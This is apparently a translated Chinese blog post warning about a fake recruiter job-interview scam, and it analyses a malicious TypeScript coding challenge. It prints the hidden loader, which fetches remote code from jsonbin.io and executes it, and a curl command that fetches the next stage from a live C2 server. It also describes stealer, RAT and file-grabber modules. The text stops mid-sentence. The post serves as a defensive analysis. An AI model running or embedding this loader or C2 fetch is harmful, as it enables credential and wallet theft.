如何在面试中妥协您的系统
目录 如何开始 仔细观察:第二阶段加载程序 下一次的一些预防措施 现在怎么办 目前IT就业市场的情况很困难。当LinkedIn上的招聘人员联系您,并根据您之前的经验提供一个合适的新职位时,您是幸运的。它最初可能看起来并不那么简单。 “一个相关的机会”带有兼职远程工作和良好的时薪,肯定会吸引许多当前的软件工程师在LinkedIn上收到新工作邀请时参与对话——我的一个朋友就是如此。这个工作机会与他以前的经验非常匹配,并且在几条LinkedIn消息之后,迅速发送了编码挑战以加快面试过程。 信息最初是以一家并不知情的公司的名义进行联系的。因此,这纯属网络钓鱼,目的是窃取您的秘密和凭证。该公司已对此事有所了解,并在LinkedIn上发布了相关帖子以解释情况。在您开始测试之前,您可能会对以下事项产生怀疑: 联系您的人员并不是LinkedIn上公司的成员 在您收到编码测试之前没有第一次“认识你”的电话 测试可能使用的编程语言与您擅长的不同 代码在Bitbucket上可用,这在我看来并不常见 发件人的电子邮件地址是@gmail.com而不是公司官方地址 事后诸葛亮,所以不要在这里评判。 如何开始 这项任务是解决各种问题,并扩展给定的TypeScript代码库中的逻辑。您收到的项目大约有180个文件,混合了无效代码和有效代码,没有混淆或压缩……但有一些对外部 https://api.jsonbin.io 端点的调用。如果您没有阅读这180个文件的代码,您就被钩住了。这里是可疑的代码部分,它会开始下载更多包以检查您的系统。 警告那是发送更多垃圾的端点。小心!完整的源代码可以在这个Bitbucket存储库中找到。 ```javascript const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d"; const res = ( await axios.get( `${ src } `)); const handler = new ( Function .constructor)( 'require' , res.data.record.model); if (handler) handler(require); }; initPriceConfig(); ``` 应用程序的内部逻辑始终首先通过执行npm run dev,npm start等来运行这个函数。由于它传入了require, 它可以: - require('child_process') 用于外壳处理 - require('fs') 用于读取/遍历文件系统、写入持久性 - require('net') / require('https') 打开自己的外泄通道 - 直接读取process.env,这在该应用程序中意味着MONGO_URI,JWT_SECRET,SENDGRID_API_KEY,CLOUDINARY_API_SECRET,PAYTM_MERCHANT_KEY 这许多事情是您绝对不想在系统上发生的。 仔细观察:第二阶段加载程序 来自jsonbin.io端点的响应实际上是一个远程代码执行加载程序。record.model有效负载是24,686个字符的obfuscator.io JavaScript,包裹在一个小的webpack捆绑包中。在去混淆返回的有效负载后,我们得到了另一堆混淆的JavaScript。此代码从C2(命令与控制)服务器 http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5 拉取数据。我能够使用以下方式获取下一段代码: ```bash curl -sS -v --max-time 30 \ -H 'Authentication: jwt' \ -H 'Accept: application/json, text/plain, */*' \ -A 'axios/1.5.3' \ -D headers.txt \ -o body.bin \ 'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5' ``` 它需要一个包含jwt作为令牌的身份验证头。该端点提供更多混淆的JavaScript代码,特别是以下四个模块: - scdata : 一个交互式RAT(远程访问木马)node-pty 全面shell,ssh2用于转发和PEM密钥窃取,screenshot-desktop +sharp用于屏幕捕获,clipboardy,以及@nut-tree-fork/nut-js用于合成键盘和鼠标。它还指纹识别VM与裸金属。 - ldata : 浏览器凭证和钱包窃取者。Chrome/Edge/Brave/LT在所有三种操作系统上,每个配置文件:登录数据,网络数据,本地扩展设置LevelDB存储和macOS login.keychain。它可以针对28个钱包扩展,例如MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby等。它以无限循环的方式运行,大约每分钟重新上传一次。 - File grabber : 遍历主目录。它尝试寻找私钥、秘密短语、*metamask*、比特币、solana、.env、*.pem、*.p12、*.pfx、文档和图片,以及整个.ssh、.aws、.gnupg和.docker目录。并且,它列举Windows上的所有驱动器字母。 - Clipboard monitor : 监视您的剪贴板。它轮询剪贴板并将其发送出去,隐藏在日志名npm-compiler.log后。当受害者连接到147.189.174.138:7321时,服务器会看到接受套接字上的源地址
本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。
☕请我喝杯咖啡